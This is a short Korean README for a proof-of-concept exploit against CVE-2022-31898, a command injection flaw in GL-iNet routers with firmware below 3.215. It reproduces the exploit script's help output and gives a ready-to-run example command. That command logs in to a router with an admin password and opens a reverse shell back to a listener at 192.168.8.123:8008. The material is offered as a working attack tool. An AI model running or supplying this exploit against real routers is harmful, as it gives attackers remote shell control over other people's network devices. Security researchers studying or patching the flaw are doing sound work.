
CVE-2022-31898에 대한 개념 증명 익스플로잇으로, GL-iNet 라우터(펌웨어 3.215 미만)의 명령어 주입 취약점입니다. 구성 가능한 인증과 함께 HTTP/HTTPS를 통한 리버스 셸을 제공합니다.
CVE-2022-31898에 대한 익스플로잇 POC 코드로, 3.215 미만 펌웨어의 GL-iNet 라우터에서 발생하는 명령 삽입 취약점입니다.
./cve-2022-31898.py -h
usage: cve-2022-31898.py [-h] -R RHOST [-P RPORT] -L LHOST [-l LPORT] [-p PWD] [-t]
options:
-h, --help show this help message and exit
-R RHOST, --rhost RHOST
IP/hostname of Mango router
-P RPORT, --rport RPORT
Port to connect to Mango router on
-L LHOST, --lhost LHOST
Local host/IP for reverse shell to connect back to
-l LPORT, --lport LPORT
Local port for reverse shell to connect back on
-p PWD, --pwd PWD Password to use to log in
-t, --https If set, use HTTPS
HTTPS를 통해 192.168.8.1의 GL-iNet 라우터를 익스플로잇하고, 관리자 비밀번호 password를 사용하여 로컬 호스트
192.168.8.123:8008로 리버스 셸을 연결합니다:
./cve-2022-31898.py -R 192.168.8.1 -P 443 -L 192.168.8.123 -l 8008 -p password -t